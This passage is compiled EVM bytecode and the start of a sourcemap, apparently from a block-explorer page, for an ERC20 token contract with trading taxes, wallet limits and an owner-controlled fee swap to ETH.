8363ffffffff1660e01b8152600401611672929190613568565b6020604051808303815f875af115801561168e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116b291906134eb565b505050565b601960029054906101000a900460ff1681565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6117546119c2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d7906130d8565b60405180910390fd5b81601960016101000a81548160ff021916908315150217905550806015819055505050565b61180d6119c2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611899576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611890906130d8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fe906135ff565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2e9061368d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611aa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9c9061371b565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611b7f9190612ea2565b60405180910390a3505050565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16159050919050565b600160045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ca5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9c906137a9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0a90613837565b60405180910390fd5b5f8111611d55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4c906138c5565b60405180910390fd5b5f611d5e61136d565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611dcc5750611d9c61136d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561252557611e0d6064611dff600c54600f5411611dec57600854611df0565b600a545b8561283790919063ffffffff16565b6128ae90919063ffffffff16565b90506007544303611e9357606460055f4381526020019081526020015f205410611e6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e639061392d565b60405180910390fd5b60055f4381526020019081526020015f205f815480929190611e8d9061394b565b91905055505b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611f36575060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f89575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561204357601254821115611fd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fca906139dc565b60405180910390fd5b60135482611fe085610bbe565b611fea91906139fa565b111561202b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202290613a77565b60405180910390fd5b600f5f81548092919061203d9061394b565b91905055505b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156120e1575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561213f57601354826120f385610bbe565b6120fd91906139fa565b111561213e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213590613a77565b60405180910390fd5b5b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156121c157503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156122055761220260646121f4600d54600f54116121e1576009546121e5565b600b545b8561283790919063ffffffff16565b6128ae90919063ffffffff16565b90505b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156122a3575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156122db57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156122e4575f90505b5f6122ee30610bbe565b9050601960029054906101000a900460ff168015612318575060195f9054906101000a900460ff16155b801561236a575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156123825750601960019054906101000a900460ff165b801561238f575060145481115b801561239e5750600e54600f54115b15612452576011544311156123b5575f6010819055505b601854601054106123fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f290613adf565b60405180910390fd5b6124186124138461240e846015546128f7565b6128f7565b61290f565b5f4790505f81111561242e5761242d47612b78565b5b60105f8154809291906124409061394b565b91905055504360118190555050612523565b60195f9054906101000a900460ff161580156124b4575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156124cc5750601960019054906101000a900460ff165b80156124d9575060145481115b80156124e85750600e54600f54115b156125225761250a61250584612500846015546128f7565b6128f7565b61290f565b5f4790505f8111156125205761251f47612b78565b5b505b5b505b5f8111156126245761257d8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612be090919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161261b9190612ea2565b60405180910390a35b6126748260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c3d90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506127176126cb8284612c3d90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612be090919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6127ba8486612c3d90919063ffffffff16565b6040516127c79190612ea2565b60405180910390a350505050565b5f83831115829061281c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128139190612d71565b60405180910390fd5b505f838561282a9190613afd565b9050809150509392505050565b5f808303612847575f90506128a8565b5f8284612854919061329c565b90508284826128639190613b5d565b146128a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289a90613bfd565b60405180910390fd5b809150505b92915050565b5f6128ef83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612c86565b905092915050565b5f8183116129055782612907565b815b905092915050565b600160195f6101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561294557612944613c1b565b5b6040519080825280602002602001820160405280156129735781602001602082028036833780820191505090505b50905030815f8151811061298a57612989613c48565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612a2e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612a529190613359565b81600181518110612a6657612a65613c48565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612acc3060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846119c9565b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612b2e959493929190613d2c565b5f604051808303815f87803b158015612b45575f80fd5b505af1158015612b57573d5f803e3d5ffd5b50505050505f60195f6101000a81548160ff02191690831515021790555050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612bdc573d5f803e3d5ffd5b5050565b5f808284612bee91906139fa565b905083811015612c33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c2a90613dce565b60405180910390fd5b8091505092915050565b5f612c7e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506127d5565b905092915050565b5f8083118290612ccc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cc39190612d71565b60405180910390fd5b505f8385612cda9190613b5d565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612d1e578082015181840152602081019050612d03565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612d4382612ce7565b612d4d8185612cf1565b9350612d5d818560208601612d01565b612d6681612d29565b840191505092915050565b5f6020820190508181035f830152612d898184612d39565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612dbe82612d95565b9050919050565b612dce81612db4565b8114612dd8575f80fd5b50565b5f81359050612de981612dc5565b92915050565b5f819050919050565b612e0181612def565b8114612e0b575f80fd5b50565b5f81359050612e1c81612df8565b92915050565b5f8060408385031215612e3857612e37612d91565b5b5f612e4585828601612ddb565b9250506020612e5685828601612e0e565b9150509250929050565b5f8115159050919050565b612e7481612e60565b82525050565b5f602082019050612e8d5f830184612e6b565b92915050565b612e9c81612def565b82525050565b5f602082019050612eb55f830184612e93565b92915050565b5f60208284031215612ed057612ecf612d91565b5b5f612edd84828501612ddb565b91505092915050565b5f805f60608486031215612efd57612efc612d91565b5b5f612f0a86828701612ddb565b9350506020612f1b86828701612ddb565b9250506040612f2c86828701612e0e565b9150509250925092565b5f60ff82169050919050565b612f4b81612f36565b82525050565b5f602082019050612f645f830184612f42565b92915050565b612f7381612db4565b82525050565b5f602082019050612f8c5f830184612f6a565b92915050565b5f60208284031215612fa757612fa6612d91565b5b5f612fb484828501612e0e565b91505092915050565b612fc681612e60565b8114612fd0575f80fd5b50565b5f81359050612fe181612fbd565b92915050565b5f60208284031215612ffc57612ffb612d91565b5b5f61300984828501612fd3565b91505092915050565b5f806040838503121561302857613027612d91565b5b5f61303585828601612ddb565b925050602061304685828601612ddb565b9150509250929050565b5f806040838503121561306657613065612d91565b5b5f61307385828601612fd3565b925050602061308485828601612e0e565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6130c2602083612cf1565b91506130cd8261308e565b602082019050919050565b5f6020820190508181035f8301526130ef816130b6565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561317857808604811115613154576131536130f6565b5b60018516156131635780820291505b808102905061317185613123565b9450613138565b94509492505050565b5f82613190576001905061324b565b8161319d575f905061324b565b81600181146131b357600281146131bd576131ec565b600191505061324b565b60ff8411156131cf576131ce6130f6565b5b8360020a9150848211156131e6576131e56130f6565b5b5061324b565b5060208310610133831016604e8410600b84101617156132215782820a90508381111561321c5761321b6130f6565b5b61324b565b61322e848484600161312f565b92509050818404811115613245576132446130f6565b5b81810290505b9392505050565b5f61325c82612def565b915061326783612f36565b92506132947fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613181565b905092915050565b5f6132a682612def565b91506132b183612def565b92508282026132bf81612def565b915082820484148315176132d6576132d56130f6565b5b5092915050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f613311601783612cf1565b915061331c826132dd565b602082019050919050565b5f6020820190508181035f83015261333e81613305565b9050919050565b5f8151905061335381612dc5565b92915050565b5f6020828403121561336e5761336d612d91565b5b5f61337b84828501613345565b91505092915050565b5f6040820190506133975f830185612f6a565b6133a46020830184612f6a565b9392505050565b5f819050919050565b5f819050919050565b5f6133d76133d26133cd846133ab565b6133b4565b612def565b9050919050565b6133e7816133bd565b82525050565b5f60c0820190506134005f830189612f6a565b61340d6020830188612e93565b61341a60408301876133de565b61342760608301866133de565b6134346080830185612f6a565b61344160a0830184612e93565b979650505050505050565b5f8151905061345a81612df8565b92915050565b5f805f6060848603121561347757613476612d91565b5b5f6134848682870161344c565b93505060206134958682870161344c565b92505060406134a68682870161344c565b9150509250925092565b5f6040820190506134c35f830185612f6a565b6134d06020830184612e93565b9392505050565b5f815190506134e581612fbd565b92915050565b5f60208284031215613500576134ff612d91565b5b5f61350d848285016134d7565b91505092915050565b5f61353061352b61352684612d95565b6133b4565b612d95565b9050919050565b5f61354182613516565b9050919050565b5f61355282613537565b9050919050565b61356281613548565b82525050565b5f60408201905061357b5f830185613559565b6135886020830184612e93565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6135e9602683612cf1565b91506135f48261358f565b604082019050919050565b5f6020820190508181035f830152613616816135dd565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f613677602483612cf1565b91506136828261361d565b604082019050919050565b5f6020820190508181035f8301526136a48161366b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f613705602283612cf1565b9150613710826136ab565b604082019050919050565b5f6020820190508181035f830152613732816136f9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613793602583612cf1565b915061379e82613739565b604082019050919050565b5f6020820190508181035f8301526137c081613787565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613821602383612cf1565b915061382c826137c7565b604082019050919050565b5f6020820190508181035f83015261384e81613815565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6138af602983612cf1565b91506138ba82613855565b604082019050919050565b5f6020820190508181035f8301526138dc816138a3565b9050919050565b7f457863656564732062757973206f6e2074686520666972737420626c6f636b2e5f82015250565b5f613917602083612cf1565b9150613922826138e3565b602082019050919050565b5f6020820190508181035f8301526139448161390b565b9050919050565b5f61395582612def565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613987576139866130f6565b5b600182019050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f6139c6601983612cf1565b91506139d182613992565b602082019050919050565b5f6020820190508181035f8301526139f3816139ba565b9050919050565b5f613a0482612def565b9150613a0f83612def565b9250828201905080821115613a2757613a266130f6565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f613a61601a83612cf1565b9150613a6c82613a2d565b602082019050919050565b5f6020820190508181035f830152613a8e81613a55565b9050919050565b7f43412062616c616e63652073656c6c00000000000000000000000000000000005f82015250565b5f613ac9600f83612cf1565b9150613ad482613a95565b602082019050919050565b5f6020820190508181035f830152613af681613abd565b9050919050565b5f613b0782612def565b9150613b1283612def565b9250828203905081811115613b2a57613b296130f6565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613b6782612def565b9150613b7283612def565b925082613b8257613b81613b30565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613be7602183612cf1565b9150613bf282613b8d565b604082019050919050565b5f6020820190508181035f830152613c1481613bdb565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613ca781612db4565b82525050565b5f613cb88383613c9e565b60208301905092915050565b5f602082019050919050565b5f613cda82613c75565b613ce48185613c7f565b9350613cef83613c8f565b805f5b83811015613d1f578151613d068882613cad565b9750613d1183613cc4565b925050600181019050613cf2565b5085935050505092915050565b5f60a082019050613d3f5f830188612e93565b613d4c60208301876133de565b8181036040830152613d5e8186613cd0565b9050613d6d6060830185612f6a565b613d7a6080830184612e93565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613db8601b83612cf1565b9150613dc382613d84565b602082019050919050565b5f6020820190508181035f830152613de581613dac565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122001bf2d3cb428b5064ddda6367d6cf92467c0b4047ad12d852fc83295a37dbb6164736f6c63430008180033

Deployed Bytecode Sourcemap

3859:9565:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12309:162;;;;;;;;;;;;;:::i;:::-;;5940:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6773:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11910:111;;;;;;;;;;;;;:::i;:::-;;5122:52;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5298:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6217:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7606:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6942:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6126:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5232:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4127:38;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11697:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6320:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2690:148;;;;;;;;;;;;;:::i;:::-;;4932:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12579:805;;;;;;;;;;;;;:::i;:::-;;2476:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4995:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11807:95;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12185:116;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6031:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6447:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5058:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12029:148;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5410:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6622:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11546;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2846:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12309:162;2613:12;:10;:12::i;:::-;2603:22;;:6;;;;;;;;;;:22;;;2595:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4741:1:::1;4797:2;:13;;;;:::i;:::-;4784:10;:26;;;;:::i;:::-;12365:12;:22;;;;4741:1;4797:2;:13;;;;:::i;:::-;4784:10;:26;;;;:::i;:::-;12398:14;:22;;;;12436:27;4741:1;4797:2;:13;;;;:::i;:::-;4784:10;:26;;;;:::i;:::-;12436:27;;;;;;:::i;:::-;;;;;;;;12309:162::o:0;5940:83::-;5977:13;6010:5;;;;;;;;;;;;;;;;;6003:12;;5940:83;:::o;6773:161::-;6848:4;6865:39;6874:12;:10;:12::i;:::-;6888:7;6897:6;6865:8;:39::i;:::-;6922:4;6915:11;;6773:161;;;;:::o;11910:111::-;2613:12;:10;:12::i;:::-;2603:22;;:6;;;;;;;;;;:22;;;2595:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11970:10:::1;;;;;;;;;;;11962:28;;:51;11991:21;11962:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;11910:111::o:0;5122:52::-;;;;:::o;5298:32::-;;;;:::o;6217:95::-;6270:7;4741:1;4797:2;:13;;;;:::i;:::-;4784:10;:26;;;;:::i;:::-;6290:14;;6217:95;:::o;7606:119::-;2613:12;:10;:12::i;:::-;2603:22;;:6;;;;;;;;;;:22;;;2595:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7667:20:::1;7683:3;7667:15;:20::i;:::-;7663:55;;;7700:8;7704:3;7700;:8::i;:::-;7663:55;7606:119:::0;:::o;6942:313::-;7040:4;7057:36;7067:6;7075:9;7086:6;7057:9;:36::i;:::-;7104:121;7113:6;7121:12;:10;:12::i;:::-;7135:89;7173:6;7135:89;;;;;;;;;;;;;;;;;:11;:19;7147:6;7135:19;;;;;;;;;;;;;;;:33;7155:12;:10;:12::i;:::-;7135:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;7104:8;:121::i;:::-;7243:4;7236:11;;6942:313;;;;;:::o;6126:83::-;6167:5;4741:1;6185:16;;6126:83;:::o;5232:28::-;;;;;;;;;;;;;:::o;4127:38::-;;;;;;;;;;;;;;;;;;;;;;:::o;11697:102::-;2613:12;:10;:12::i;:::-;2603:22;;:6;;;;;;;;;;:22;;;2595:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11785:6:::1;11769:13;:22;;;;11697:102:::0;:::o;6320:119::-;6386:7;6413:9;:18;6423:7;6413:18;;;;;;;;;;;;;;;;6406:25;;6320:119;;;:::o;2690:148::-;2613:12;:10;:12::i;:::-;2603:22;;:6;;;;;;;;;;:22;;;2595:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2797:1:::1;2760:40;;2781:6;::::0;::::1;;;;;;;;2760:40;;;;;;;;;;;;2828:1;2811:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2690:148::o:0;4932:56::-;;;;:::o;12579:805::-;2613:12;:10;:12::i;:::-;2603:22;;:6;;;;;;;;;;:22;;;2595:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12645:11:::1;;;;;;;;;;;12644:12;12636:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;12731:42;12694:15;;:80;;;;;;;;;;;;;;;;;;12785:58;12802:4;12817:15;;;;;;;;;;;4741:1;4797:2;:13;;;;:::i;:::-;4784:10;:26;;;;:::i;:::-;12785:8;:58::i;:::-;12888:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12870:55;;;12934:4;12941:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12870:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12854:13;;:110;;;;;;;;;;;;;;;;;;13007:4;12975:5;:29;12989:13;;;;;;;;;;;12975:29;;;;;;;;;;;;;;;;:36;;;;;;;;;;;;;;;;;;13056:4;13022:7;:31;13038:13;;;;;;;;;;;13022:31;;;;;;;;;;;;;;;;:38;;;;;;;;;;;;;;;;;;13071:15;;;;;;;;;;;:31;;;13110:21;13141:4;13147:24;13165:4;13147:9;:24::i;:::-;13172:1;13174::::0;13176:7:::1;:5;:7::i;:::-;13184:15;13071:129;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;13218:13;;;;;;;;;;;13211:29;;;13249:15;;;;;;;;;;;13267:14;13211:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13307:4;13293:11;;:18;;;;;;;;;;;;;;;;;;13336:4;13322:11;;:18;;;;;;;;;;;;;;;;;;13364:12;13351:10;:25;;;;12579:805::o:0;2476:79::-;2514:7;2541:6;;;;;;;;;;;2534:13;;2476:79;:::o;4995:56::-;;;;:::o;11807:95::-;2613:12;:10;:12::i;:::-;2603:22;;:6;;;;;;;;;;:22;;;2595:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11887:7:::1;11874:10;;:20;;;;;;;;;;;;;;;;;;11807:95:::0;:::o;12185:116::-;2613:12;:10;:12::i;:::-;2603:22;;:6;;;;;;;;;;:22;;;2595:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12280:12:::1;12259:10;;:34;;;;;;;;;;;;;;;;;;12185:116:::0;:::o;6031:87::-;6070:13;6103:7;;;;;;;;;;;;;;;;;6096:14;;6031:87;:::o;6447:167::-;6525:4;6542:42;6552:12;:10;:12::i;:::-;6566:9;6577:6;6542:9;:42::i;:::-;6602:4;6595:11;;6447:167;;;;:::o;5058:57::-;;;;:::o;12029:148::-;2613:12;:10;:12::i;:::-;2603:22;;:6;;;;;;;;;;:22;;;2595:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12128:10:::1;12121:27;;;12149:10;;;;;;;;;;;12161:7;12121:48;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12029:148:::0;;:::o;5410:29::-;;;;;;;;;;;;;:::o;6622:143::-;6703:7;6730:11;:18;6742:5;6730:18;;;;;;;;;;;;;;;:27;6749:7;6730:27;;;;;;;;;;;;;;;;6723:34;;6622:143;;;;:::o;11546:::-;2613:12;:10;:12::i;:::-;2603:22;;:6;;;;;;;;;;:22;;;2595:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11643:7:::1;11629:11;;:21;;;;;;;;;;;;;;;;;;11675:6;11661:11;:20;;;;11546:143:::0;;:::o;2846:244::-;2613:12;:10;:12::i;:::-;2603:22;;:6;;;;;;;;;;:22;;;2595:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2955:1:::1;2935:22;;:8;:22;;::::0;2927:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3045:8;3016:38;;3037:6;::::0;::::1;;;;;;;;3016:38;;;;;;;;;;;;3074:8;3065:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;2846:244:::0;:::o;231:98::-;284:7;311:10;304:17;;231:98;:::o;7263:335::-;7373:1;7356:19;;:5;:19;;;7348:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7454:1;7435:21;;:7;:21;;;7427:68;;;;;;;;;;;;:::i;:::-;;;;;;;